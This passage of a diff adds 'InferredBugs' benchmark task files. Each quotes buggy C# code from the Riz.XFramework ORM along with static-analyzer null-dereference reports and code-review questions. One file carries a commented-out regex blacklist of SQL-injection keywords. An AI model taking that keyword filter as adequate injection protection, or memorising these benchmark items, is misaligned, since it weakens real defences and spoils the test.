+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0553/instruction.md b/inferredbugs-0553/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2e867f697517647ed2191318a9eeef38a3be2871
--- /dev/null
+++ b/inferredbugs-0553/instruction.md
@@ -0,0 +1,111 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Riz.XFramework
+**Bug ID:** 18
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Linq.Expressions;
+
+namespace TZM.XFramework.Data
+{
+    /// <summary>
+    /// UPDATE 表达式解析器
+    /// </summary>
+    public class OracleUpdateExpressionVisitor : ExpressionVisitorBase
+    {
+        private IDbQueryProvider _provider = null;
+        private TableAliasCache _aliases = null;
+
+        /// <summary>
+        /// 初始化 <see cref="OracleUpdateExpressionVisitor"/> 类的新实例
+        /// </summary>
+        public OracleUpdateExpressionVisitor(IDbQueryProvider provider, TableAliasCache aliases, Expression exp)
+            : base(provider, aliases, exp)
+        {
+            _provider = provider;
+            _aliases = aliases;
+        }
+
+        //{new App() {Id = p.Id}} 
+        protected override Expression VisitMemberInit(MemberInitExpression node)
+        {
+            if (node.Bindings == null || node.Bindings.Count == 0)
+                throw new XFrameworkException("Update<T> at least update one member.");
+
+            for (int index = 0; index < node.Bindings.Count; ++index)
+            {
+                MemberAssignment member = node.Bindings[index] as MemberAssignment;
+                _builder.AppendMember(member.Member.Name);
+                _builder.Append(" = ");
+
+                if (member.Expression.CanEvaluate())
+                    _builder.Append(member.Expression.Evaluate().Value, member.Member, node.Type);
+                else
+                    base.Visit(member.Expression);
+
+                if (index < node.Bindings.Count - 1)
+                {
+                    _builder.Append(",");
+                    _builder.AppendNewLine();
+                }
+            }
+            return node;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `member` last assigned on line 30 could be null and is dereferenced at line 31, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Expression OracleUpdateExpressionVisitor.VisitMemberInit(MemberInitExpression)
+
+### File:
+net45/TZM.XFramework.Oracle/Data/ExpressionVisitor/OracleUpdateExpressionVisitor.cs
+
+### Key:
+OracleUpdateExpressionVisitor.cs|VisitMemberInit|NULL_DEREFERENCE
+
+### Node Key:
+91b8c216590cdce695b1f86e7c48e6c5
+
+### Hash:
+df850f02c125984bc4602ac8f5e79e05
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0554/instruction.md b/inferredbugs-0554/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..26234b52c6a4a945b6380dc5adb78fd2e0517046
--- /dev/null
+++ b/inferredbugs-0554/instruction.md
@@ -0,0 +1,647 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Riz.XFramework
+**Bug ID:** 27
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Linq.Expressions;
+
+namespace Riz.XFramework.Data
+{
+    /// <summary>
+    /// 表达式解析器基类，提供公共的表达式处理方式
+    /// </summary>
+    public class LinqExpressionVisitor : ExpressionVisitor
+    {
+        #region 私有字段
+
+        private TableAliasResolver _aliasResolver = null;
+        private Expression _expression = null;
+        private HashCollection<NavMember> _navMembers = null;
+
+        /// <summary>
+        /// SQL 构造器
+        /// </summary>
+        protected ISqlBuilder _builder = null;
+
+        /// <summary>
+        /// 方法解析器
+        /// </summary>
+        protected MethodCallExpressionVisitor _methodVisitor = null;
+
+        /// <summary>
+        /// 成员访问痕迹
+        /// </summary>
+        protected MemberVisitedStack _visitedStack = null;
+
+        //防SQL注入字符
+        //private static readonly Regex RegSystemThreats = 
+        //new Regex(@"\s?or\s*|\s?;\s?|\s?drop\s|\s?grant\s|^'|\s?--|\s?union\s|\s?delete\s|\s?truncate\s|" +
+        //    @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?",
+        //    RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+        #endregion
+
+        #region 公开属性
+
+        /// <summary>
+        /// 即将解析的表达式
+        /// </summary>
+        public Expression Expression
+        {
+            get { return _expression; }
+        }
+
+        /// <summary>
+        /// 即将解析的表达式
+        /// </summary>
+        public ISqlBuilder SqlBuilder
+        {
+            get { return _builder; }
+        }
+
+        /// <summary>
+        /// 导航属性表达式列表
+        /// </summary>
+        public HashCollection<NavMember> NavMembers
+        {
+            get { return _navMembers; }
+        }
+
+        /// <summary>
+        /// 成员访问痕迹
+        /// </summary>
+        public MemberVisitedStack VisitedStack { get { return _visitedStack; } }
+
+        #endregion
+
+        #region 构造函数
+
+        /// <summary>
+        /// 初始化 <see cref="LinqExpressionVisitor"/> 类的新实例
+        /// </summary>
+        /// <param name="aliasResolver">表别名解析器</param>
+        /// <param name="expression">将访问的表达式</param>
+        public LinqExpressionVisitor(TableAliasResolver aliasResolver, Expression expression)
+        {
+            _aliasResolver = aliasResolver;
+            _expression = expression;
+            _visitedStack = new MemberVisitedStack();
+            _navMembers = new HashCollection<NavMember>();
+        }
+
+        #endregion
+
+        #region 重写方法
+
+        /// <summary>
+        /// 将表达式所表示的SQL片断写入SQL构造器
+        /// </summary>
+        /// <param name="builder">SQL 语句生成器</param>
+        public virtual void Write(ISqlBuilder builder)
+        {
+            this.Initialize(builder);
+            if (_expression != null) this.Visit(_expression);
+        }
+
+        /// <summary>
+        /// 访问二元表达式
+        /// </summary>
+        /// <param name="node">二元表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitBinary(BinaryExpression node)
+        {
+            return this.VisitWithoutRemark(a => this.VisitBinaryImpl(node));
+        }
+
+        // 访问二元表达式
+        Expression VisitBinaryImpl(BinaryExpression b)
+        {
+            if (b == null) return b;
+
+            // array[0]
+            if (b.NodeType == ExpressionType.ArrayIndex) return this.Visit(b.Evaluate());
+
+            Expression left = b.Left.ReduceUnary();
+            Expression right = b.Right.ReduceUnary();
+            if (b.NodeType == ExpressionType.AndAlso || b.NodeType == ExpressionType.OrElse)
+            {
+                // expression maybe a.Name == "TAN" && a.Allowused
+                left = TryMakeBinary(b.Left);
+                right = TryMakeBinary(b.Right);
+
+                if (left != b.Left || right != b.Right)
+                {
+                    b = Expression.MakeBinary(b.NodeType, left, right);
+                    return this.Visit(b);
+                }
+            }
+
+            // 例： a.Name ?? "TAN"
+            if (b.NodeType == ExpressionType.Coalesce) return _methodVisitor.Visit(b, MethodCall.Coalesce);
+
+            // 例： a.Name == null
+            var constExpression = left as ConstantExpression ?? right as ConstantExpression;
+            if (constExpression != null && constExpression.Value == null) return _methodVisitor.Visit(b, MethodCall.EqualNull);
+
+            // 例： a.Name == a.FullName  or like a.Name == "TAN"
+            return this.VisitBinary_Condition(b);
+        }
+
+        /// <summary>
+        /// 访问包含条件运算符的表达式
+        /// </summary>
+        /// <param name="node">要访问的表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitConditional(ConditionalExpression node)
+        {
+            // 例： a.Name == null ? "TAN" : a.Name => CASE WHEN a.Name IS NULL THEN 'TAN' ELSE a.Name End
+
+            Expression testExpression = this.TryMakeBinary(node.Test);
+
+            _builder.Append("(CASE WHEN ");
+            this.Visit(testExpression);
+            _builder.Append(" THEN ");
+            this.Visit(node.IfTrue);
+            _builder.Append(" ELSE ");
+            this.Visit(node.IfFalse);
+            _builder.Append(" END)");
+
+            return node;
+        }
+
+        /// <summary>
+        /// 访问常量表达式
+        /// </summary>
+        /// <param name="c">常量表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitConstant(ConstantExpression c)
+        {
+            //fix# char ~~，because expression tree converted char type 2 int.
+            if (c != null && c.Value != null)
+            {
+                var m = _visitedStack.Current;
+                bool isChar = m != null && (m.DataType == typeof(char) || m.DataType == typeof(char?)) && c.Type == typeof(int);
+                if (isChar)
+                {
+                    char @char = Convert.ToChar(c.Value);
+                    c = Expression.Constant(@char, typeof(char));
+                }
+            }
+
+            _builder.Append(c.Value, _visitedStack.Current);
+            return c;
+        }
+
+        /// <summary>
+        /// 访问字段或者属性表达式
+        /// </summary>
+        /// <param name="node">字段或者成员表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitMember(MemberExpression node)
+        {
+            // 1.<>h__TransparentIdentifier3.b.Client.ClientName
+            // 2.<>h__TransparentIdentifier3.b.Client.ClientName.Length
+            // 3.<>h__TransparentIdentifier3.b.Client.Address.AddressName
+            // 4.<>h__TransparentIdentifier3.b.ClientName
+            // <>h__TransparentIdentifier2.<>h__TransparentIdentifier3.b.ClientName
+            // <>h__TransparentIdentifier2.<>h__TransparentIdentifier3.b.Client.ClientName
+            // <>h__TransparentIdentifier2.<>h__TransparentIdentifier3.b.Client.Address.AddressName
+            // 5.b.ClientName
+
+
+            if (node == null) return node;
+            // => a.ActiveDate == DateTime.Now  => a.State == (byte)state
+            if (node.CanEvaluate()) return this.VisitConstant(node.Evaluate());
+            // => DateTime.Now
+            if (node.Type == typeof(DateTime) && node.Expression == null) return _methodVisitor.Visit(node, MethodCall.MemberMember);
+            // => a.Nullable.Value
+            bool isNullable = node.Expression.Type.IsGenericType && node.Member.Name == "Value" && node.Expression.Type.GetGenericTypeDefinition() == typeof(Nullable<>);
+            if (isNullable)
+            {
+                this.Visit(node.Expression);
+                return node;
+            }
+
+            // 记录访问成员栈
+            _visitedStack.Add(node);
+
+            // => a.Name.Length
+            if (TypeUtils.IsPrimitiveType(node.Expression.Type)) return _methodVisitor.Visit(node, MethodCall.MemberMember);
+            // => <>h__3.b.ClientName
+            if (!node.Expression.Visitable())
+            {
+                _builder.AppendMember(_aliasResolver, node);
+                return node;
+            }
+            // => a.Accounts[0].Markets[0].MarketId
+            // => b.Client.Address.AddressName
+            Expression objExpression = node.Expression;
+            bool isMethodCall = objExpression != null && objExpression.NodeType == ExpressionType.Call;
+            if (isMethodCall)
+            {
+                MethodCallExpression methodExpression = objExpression as MethodCallExpression;
+                bool isIndex = methodExpression.IsCollectionIndex();
+                if (isIndex) objExpression = methodExpression.Object;
+            }
+            // => b.Client.Address.AddressName
+            this.VisitNavMember(objExpression, TypeUtils.GetFieldName(node.Member, node.Expression.Type));
+
+            return node;
+        }
+
+        /// <summary>
+        /// 访问方法表达式
+        /// </summary>
+        /// <param name="node">方法表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitMethodCall(MethodCallExpression node)
+        {
+            // => List<int>[]
+            if (node.CanEvaluate()) return this.VisitConstant(node.Evaluate());
+            return _methodVisitor.Visit(node, MethodCall.MethodCall);
+        }
+
+        /// <summary>
+        /// 访问一元表达式
+        /// </summary>
+        /// <param name="u">一元表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitUnary(UnaryExpression u)
+        {
+            return _methodVisitor.Visit(u, MethodCall.Unary);
+        }
+
+        /// <summary>
+        /// 访问表达式树后自动删掉访问的成员痕迹
+        /// </summary>
+        /// <param name="visit">访问委托</param>
+        protected void VisitWithoutRemark(Action<object> visit)
+        {
+            int visitedQty = _visitedStack.Count;
+            visit(null);
+            if (_visitedStack.Count != visitedQty) _visitedStack.Remove(_visitedStack.Count - visitedQty);
+        }
+
+        /// <summary>
+        /// 访问表达式树后自动删掉访问的成员痕迹
+        /// </summary>
+        /// <param name="visit">访问实现</param>
+        /// <returns></returns>
+        public Expression VisitWithoutRemark(Func<object, Expression> visit)
+        {
+            int visitedQty = _visitedStack.Count;
+            var newNode = visit(null);
+            if (_visitedStack.Count != visitedQty) _visitedStack.Remove(_visitedStack.Count - visitedQty);
+            return newNode;
+        }
+
+        #endregion
+
+        #region 私有函数
+
+        /// <summary>
+        /// 访问二元表达式
+        /// </summary>
+        /// <param name="b">二元表达式</param>
+        /// <returns></returns>
+        protected virtual Expression VisitBinary_Condition(BinaryExpression b)
+        {
+            // 例： a.Name == a.FullName 
+            // or like a.Name == "TAN"
+
+            if (b == null) return b;
+            // 取模运算
+            else if (b.NodeType == ExpressionType.Modulo) return _methodVisitor.Visit(b, MethodCall.BinaryCall);
+            // 除法运算
+            else if (b.NodeType == ExpressionType.Divide) return _methodVisitor.Visit(b, MethodCall.BinaryCall);
+            // 字符相加
+            else if (b.NodeType == ExpressionType.Add && b.Type == typeof(string)) return _methodVisitor.Visit(b, MethodCall.BinaryCall);
+            else
+            {
+                // 常量表达式放在右边，以充分利用 MemberVisitedMark
+                string oper = this.GetOperator(b);
+                bool use = this.UseBracket(b, b.Left);
+
+                if (use) _builder.Append('(');
+                this.Visit(b.Left);
+                if (use) _builder.Append(')');
+
+                _builder.Append(oper);
+
+                bool use2 = this.UseBracket(b, b.Right);
+                if (use2) _builder.Append('(');
+                this.Visit(b.Right);
+                if (use2) _builder.Append(')');
+
+                return b;
+            }
+        }
+
+        /// <summary>
+        /// 访问导航属性
+        /// </summary>
+        /// <param name="expression">导航属性表达式</param>
+        /// <param name="memberName">成员名称</param>
+        /// <returns></returns>
+        protected virtual string VisitNavMember(Expression expression, string memberName = null)
+        {
+            // 表达式 => b.Client.Address.AddressName
+            Expression node = expression;
+            Stack<NavMember> stack = null;
+            string alias = string.Empty;
+            while (node != null && node.Visitable())
+            {
+                if (node.NodeType != ExpressionType.MemberAccess) break;
+
+                if (stack == null) stack = new Stack<NavMember>();
+                var member = node as MemberExpression;
+
+                var typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(member.Expression.Type);
+                ForeignKeyAttribute attribute = typeRuntime.GetMemberAttribute<ForeignKeyAttribute>(member.Member.Name);
+                if (attribute == null)
+                {
+                    
+                }
+
+                string key = member.GetKeyWidthoutAnonymous();
+                stack.Push(new NavMember(key, member));
+                node = member.Expression;
+                if (node.NodeType == ExpressionType.Call) node = (node as MethodCallExpression).Object;
+            }
+
+            if (stack != null && stack.Count > 0)
+            {
+                while (stack != null && stack.Count > 0)
+                {
+                    NavMember nav = stack.Pop();
+                    Type type = nav.Expression.Type;
+                    if (type.IsGenericType) type = type.GetGenericArguments()[0];
+
+                    var typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(type);
+                    // 检查表达式是否由 GetTable<,>(path) 显式指定过别名
+                    alias = _aliasResolver.GetGetTableAlias(nav.Key);
+                    if (string.IsNullOrEmpty(alias))
+                    {
+                        // 如果没有，检查查询表达式是否显示指定该表关联
+                        alias = _aliasResolver.GetJoinTableAlias(typeRuntime.TableName);
+                    }
+                    if (string.IsNullOrEmpty(alias))
+                    {
+                        // 如果没有，则使用导航属性别名
+                        alias = _aliasResolver.GetNavTableAlias(nav.Key);
+                        if (!_navMembers.Contains(nav.Key)) _navMembers.Add(nav);
+                    }
+
+                    // 例： a.Client.ClientId
+                    if (stack.Count == 0 && !string.IsNullOrEmpty(memberName)) _builder.AppendMember(alias, memberName);
+                }
+            }
+            else
+            {
+                // => SelectMany 也会产生类似 'b.Client.Address.AddressName' 这样的表达式
+                alias = _aliasResolver.GetTableAlias(expression);
+                _builder.AppendMember(alias, memberName);
+            }
+
+            // Fix issue# Join 表达式显式指定导航属性时时，alias 为空
+            return alias;
+        }
+
+        /// <summary>
+        /// 尝试将一元表达式转换成二元表达式，如 TRUE=>1 == 1
+        /// </summary>
+        /// <param name="expression">将要转换的表达式</param>
+        /// <returns></returns>
+        protected virtual Expression TryMakeBinary(Expression expression)
+        {
+            if (expression.Type != typeof(bool)) return expression;
+            //else if (expression.NodeType == ExpressionType.Constant && ignoreConst) return expression;
+
+            Expression left = null;
+            Expression right = null;
+
+            if (expression.NodeType == ExpressionType.Constant)
+            {
+                // true => 1=2
+                left = Expression.Constant(1);
+                right = Expression.Constant(Convert.ToBoolean(((ConstantExpression)expression).Value) ? 1 : 2);
+            }
+            else if (expression.NodeType == ExpressionType.MemberAccess)
+            {
+                // a.FieldName => a.FieldName = 1
+                left = expression;
+                right = Expression.Constant(true);
+            }
+            else if (expression.NodeType == ExpressionType.Not)
+            {
+                var unaryExpression = expression as UnaryExpression;
+                if (unaryExpression.Operand.NodeType == ExpressionType.MemberAccess)
+                {
+                    // !a.FieldName => a.FieldName = 0
+                    left = ((UnaryExpression)expression).Operand;
+                    right = Expression.Constant(false);
+                }
+            }
+
+            if (left != null)
+                expression = Expression.MakeBinary(ExpressionType.Equal, left, right);
+            return expression;
+        }
+
+        /// <summary>
+        /// 使用 SqlBuilder 初始化
+        /// </summary>
+        /// <param name="builder"></param>
+        protected virtual void Initialize(ISqlBuilder builder)
+        {
+            _builder = builder;
+            var context = _builder.TranslateContext.DbContext;
+            if (_methodVisitor == null)
+                _methodVisitor = context.Provider.CreateMethodCallVisitor(this);
+        }
+
+        // 获取二元表达式对应的操作符
+        string GetOperator(BinaryExpression b)
+        {
+            string opr = string.Empty;
+            switch (b.NodeType)
+            {
+                case ExpressionType.Equal:
+                    opr = " = ";
+                    break;
+                case ExpressionType.NotEqual:
+                    opr = " <> ";
+                    break;
+                case ExpressionType.GreaterThan:
+                    opr = " > ";
+                    break;
+                case ExpressionType.GreaterThanOrEqual:
+                    opr = " >= ";
+                    break;
+                case ExpressionType.LessThan:
+                    opr = " < ";
+                    break;
+                case ExpressionType.LessThanOrEqual:
+                    opr = " <= ";
+                    break;
+                case ExpressionType.And:
+                case ExpressionType.AndAlso:
+                    opr = b.Type == typeof(bool) ? " AND " : " & ";
+                    break;
+                case ExpressionType.Or:
+                case ExpressionType.OrElse:
+                    opr = b.Type == typeof(bool) ? " OR " : " | ";
+                    break;
+                case ExpressionType.Add:
+                case ExpressionType.AddChecked:
+                    opr = " + ";
+                    break;
+                case ExpressionType.Subtract:
+                case ExpressionType.SubtractChecked:
+                    opr = " - ";
+                    break;
+                case ExpressionType.Multiply:
+                case ExpressionType.MultiplyChecked:
+                    opr = " * ";
+                    break;
+                case ExpressionType.Divide:
+                    opr = " / ";
+                    break;
+                case ExpressionType.Modulo:
+                    opr = " % ";
+                    break;
+                case ExpressionType.Coalesce:
+                    opr = "ISNULL";
+                    break;
+                default:
+                    throw new NotSupportedException(string.Format("{0} is not supported.", b.NodeType));
+            }
+
+            return opr;
+        }
+
+        // 判断是否需要括号
+        bool UseBracket(Expression expression, Expression subExpression = null)
+        {
+            if (subExpression != null)
+            {
+                var unary = subExpression as UnaryExpression;
+                if (unary != null) return this.UseBracket(expression, unary.Operand);
+
+                var invocation = subExpression as InvocationExpression;
+                if (invocation != null) return this.UseBracket(expression, invocation.Expression);
+
+                var lambda = subExpression as LambdaExpression;
+                if (lambda != null) return this.UseBracket(expression, lambda.Body);
+
+                var b = subExpression as BinaryExpression;
+                if (b != null)
+                {
+                    if (expression.NodeType == ExpressionType.OrElse)
+                        return true;
+                }
+            }
+
+            return this.GetPriority(expression) < this.GetPriority(subExpression);
+        }
+
+        // 获取表达式优先级
+        int GetPriority(Expression expression)
+        {
+            switch (expression.NodeType)
+            {
+                case ExpressionType.Add:
+                case ExpressionType.AddChecked:
+                case ExpressionType.ExclusiveOr:
+                case ExpressionType.Subtract:
+                case ExpressionType.SubtractChecked:
+                    return 3;
+                case ExpressionType.And:
+                    return expression.Type == typeof(bool) ? 6 : 3;
+                case ExpressionType.AndAlso:
+                    return 6;
+                case ExpressionType.Divide:
+                case ExpressionType.Modulo:
+                case ExpressionType.Multiply:
+                case ExpressionType.MultiplyChecked:
+                    return 2;
+                case ExpressionType.Equal:
+                case ExpressionType.GreaterThan:
+                case ExpressionType.GreaterThanOrEqual:
+                case ExpressionType.LessThan:
+                case ExpressionType.LessThanOrEqual:
+                case ExpressionType.NotEqual:
+                    return 4;
+                case ExpressionType.Not:
+                    return expression.Type == typeof(bool) ? 5 : 1;
+                case ExpressionType.Or:
+                    return expression.Type == typeof(bool) ? 7 : 3;
+                case ExpressionType.OrElse:
+                    return 7;
+                default:
+                    return 0;
+            }
+        }
+
+        #endregion
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `member` last assigned on line 355 could be null and is dereferenced at line 357, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+String LinqExpressionVisitor.VisitNavMember(Expression,String)
+
+### File:
+net45/Riz.XFramework/Data/ExpressionVisitor/LinqExpressionVisitor.cs
+
+### Key:
+LinqExpressionVisitor.cs|VisitNavMember|NULL_DEREFERENCE
+
+### Node Key:
+5f6bc9a45b87a0bd98569135266c4d99
+
+### Hash:
+bc94f6de1ace235e65d0388ef1bc0077
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0555/instruction.md b/inferredbugs-0555/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f33708a5a658d1d475c597a6544df94468105322
--- /dev/null
+++ b/inferredbugs-0555/instruction.md
@@ -0,0 +1,390 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Riz.XFramework
+**Bug ID:** 9
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+
+using System;
+using System.Data;
+using System.Linq;
+using System.Linq.Expressions;
+using System.Collections.Generic;
+
+namespace TZM.XFramework
+{
+    /// <summary>
+    /// 扩展帮助类
+    /// </summary>
+    public static class XFrameworkExtensions
+    {
+        #region 表达式树
+
+        private static readonly string _anonymousName = "<>h__TransparentIdentifier";
+        private static Func<Type, bool> _isGrouping = t => t.IsGenericType && t.GetGenericTypeDefinition() == typeof(IGrouping<,>);
+        private static Func<string, bool> _isAnonymous = name => !string.IsNullOrEmpty(name) && name.StartsWith(_anonymousName, StringComparison.Ordinal);
+
+        /// <summary>
+        /// 返回真表达式
+        /// </summary>
+        public static Expression<Func<T, bool>> True<T>()
+            where T : class
+        {
+            return f => true;
+        }
+
+        /// <summary>
+        /// 返回假表达式
+        /// </summary>
+        public static Expression<Func<T, bool>> False<T>()
+            where T : class
+        {
+            return f => false;
+        }
+
+        /// <summary>
+        /// 拼接真表达式
+        /// </summary>
+        public static Expression<Func<T, bool>> AndAlso<T>(this Expression<Func<T, bool>> TExp1,
+            Expression<Func<T, bool>> TExp2) where T : class
+        {
+            if (TExp1 == null) return TExp2;
+            if (TExp2 == null) return TExp1;
+
+            var invokeExp = System.Linq.Expressions.Expression.Invoke(TExp2, TExp1.Parameters.Cast<System.Linq.Expressions.Expression>());
+            return System.Linq.Expressions.Expression.Lambda<Func<T, bool>>
+                  (System.Linq.Expressions.Expression.AndAlso(TExp1.Body, invokeExp), TExp1.Parameters);
+        }
+
+        /// <summary>
+        /// 拼接假表达式
+        /// </summary>
+        public static Expression<Func<T, bool>> OrElse<T>(this Expression<Func<T, bool>> TExp1,
+            Expression<Func<T, bool>> TExp2) where T : class
+        {
+            if (TExp1 == null) return TExp2;
+            if (TExp2 == null) return TExp1;
+
+            var invokeExp = System.Linq.Expressions.Expression.Invoke(TExp2, TExp1.Parameters.Cast<System.Linq.Expressions.Expression>());
+            return System.Linq.Expressions.Expression.Lambda<Func<T, bool>>
+                  (System.Linq.Expressions.Expression.OrElse(TExp1.Body, invokeExp), TExp1.Parameters);
+        }
+
+        /// <summary>
+        /// 去掉一元表达式的操作符
+        /// </summary>
+        /// <returns></returns>
+        public static Expression ReduceUnary(this Expression exp)
+        {
+            UnaryExpression unaryExpression = exp as UnaryExpression;
+            return unaryExpression != null
+                ? unaryExpression.Operand.ReduceUnary()
+                : exp;
+        }
+
+        /// <summary>
+        /// 判断表达式链是否能通过动态计算，计算出它的值
+        /// </summary>
+        public static bool CanEvaluate(this Expression node)
+        {
+            // => 5
+            // => a.ActiveDate == DateTime.Now
+            // => a.State == (byte)state
+
+            if (node == null) return false;
+            if (node.NodeType == ExpressionType.Constant) return true;
+            if (node.NodeType == ExpressionType.ArrayIndex) return true;
+            if (node.NodeType == ExpressionType.Call)
+            {
+                // List<int>{0}[]
+                MethodCallExpression methodCallExpression = node as MethodCallExpression;
+                Expression expression = methodCallExpression.Object;
+                if (expression != null && Data.TypeUtils.IsCollectionType(expression.Type) && methodCallExpression.Method.Name == "get_Item")
+                {
+                    return true;
+                }
+            }
+
+            var member = node as MemberExpression;
+            if (member == null) return false;
+            if (member.Expression == null) return true;
+            if (member.Expression.NodeType == ExpressionType.Constant) return true;
+
+            return member.Expression.CanEvaluate();
+        }
+
+        /// <summary>
+        /// 计算表达式的值
+        /// </summary>
+        public static ConstantExpression Evaluate(this Expression e)
+        {
+            ConstantExpression node = null;
+            if (e.NodeType == ExpressionType.Constant)
+            {
+                node = e as ConstantExpression;
+            }
+            else
+            {
+                LambdaExpression lambda = e is LambdaExpression ? Expression.Lambda(((LambdaExpression)e).Body) : Expression.Lambda(e);
+                Delegate fn = lambda.Compile();
+
+                node = Expression.Constant(fn.DynamicInvoke(null), e is LambdaExpression ? ((LambdaExpression)e).Body.Type : e.Type);
+            }
+
+            // 枚举要转成 INT
+            if (node.Type.IsEnum) node = Expression.Constant(Convert.ToInt32(node.Value));
+
+            // 返回最终处理的常量表达式s
+            return node;
+        }
+
+        /// <summary>
+        /// 判断属性访问表达式是否有系统动态生成前缀
+        /// <code>
+        /// h__TransparentIdentifier.a.CompanyName
+        /// </code>
+        /// </summary>
+        public static bool IsAnonymous(this Expression node)
+        {
+            // <>h__TransparentIdentifier => h__TransparentIdentifier.a.CompanyName
+            Expression exp = node;
+            ParameterExpression paramExp = exp.NodeType == ExpressionType.Lambda
+                ? (node as LambdaExpression).Parameters[0]
+                : exp as ParameterExpression;
+            if (paramExp != null) return _isAnonymous(paramExp.Name);
+
+            if (exp.NodeType == ExpressionType.MemberAccess)    // <>h__TransparentIdentifier.a.CompanyName
+            {
+                MemberExpression memExp = exp as MemberExpression;
+                if (_isAnonymous(memExp.Member.Name)) return true;
+
+                return IsAnonymous(memExp.Expression);
+            }
+
+            return false;
+        }
+
+        /// <summary>
+        /// 判断是否是分组表达式
+        /// </summary>
+        public static bool IsGrouping(this Expression node)
+        {
+            //g.Key
+            //g.Key.CompanyName
+            //g.Max()
+            //g=>g.xxx
+            //g.Key.CompanyId.Length
+            //g.Key.Length 
+
+            // g | g=>g.xx
+            Expression exp = node;
+            ParameterExpression paramExp = exp.NodeType == ExpressionType.Lambda
+                ? (node as LambdaExpression).Parameters[0]
+                : exp as ParameterExpression;
+            if (paramExp != null) return _isGrouping(paramExp.Type);
+
+            // g.Max
+            MethodCallExpression callExp = exp as MethodCallExpression;
+            if (callExp != null) return _isGrouping(callExp.Arguments[0].Type);
+
+
+            MemberExpression memExp = exp as MemberExpression;
+            if (memExp != null)
+            {
+                // g.Key
+                var g1 = memExp.Member.Name == "Key" && _isGrouping(memExp.Expression.Type);
+                if (g1) return g1;
+
+                // g.Key.Length | g.Key.Company | g.Key.CompanyId.Length
+                memExp = memExp.Expression as MemberExpression;
+                if (memExp != null)
+                {
+                    g1 = memExp.Member.Name == "Key" && _isGrouping(memExp.Expression.Type) && memExp.Type.Namespace == null; //匿名类没有命令空间
+                    if (g1) return g1;
+                }
+            }
+
+            return false;
+        }
+
+        /// <summary>
+        /// 在递归访问 MemberAccess 表达式时，判定节点是否能够被继续递归访问
+        /// </summary>
+        public static bool Acceptable(this Expression node)
+        {
+            // a 
+            // <>h__TransparentIdentifier.a
+            // <>h__TransparentIdentifier0.<>h__TransparentIdentifier1.a
+
+            if (node.NodeType == ExpressionType.Parameter) return false;
+
+            if (node.NodeType == ExpressionType.MemberAccess)
+            {
+                MemberExpression m = node as MemberExpression;
+                if (m.Expression.NodeType == ExpressionType.Parameter)
+                {
+                    string name = (m.Expression as ParameterExpression).Name;
+                    if (_isAnonymous(name)) return false;
+                }
+
+                if (m.Expression.NodeType == ExpressionType.MemberAccess)
+                {
+                    string name = (m.Expression as MemberExpression).Member.Name;
+                    if (_isAnonymous(name)) return false;
+                }
+            }
+
+            return true;
+        }
+
+        /// <summary>
+        /// 取剔除掉系统动态生成前缀后的表达式
+        /// </summary>
+        public static string GetKeyWidthoutAnonymous(this MemberExpression node, bool isDesciptor = false)
+        {
+            List<string> segs = new List<string>();
+            segs.Add(node.Member.Name);
+
+            Expression expression = node.Expression;
+            while (expression.Acceptable())
+            {
+                MemberExpression memberExpression = null;
+                if (expression.NodeType == ExpressionType.MemberAccess) memberExpression = (MemberExpression)expression;
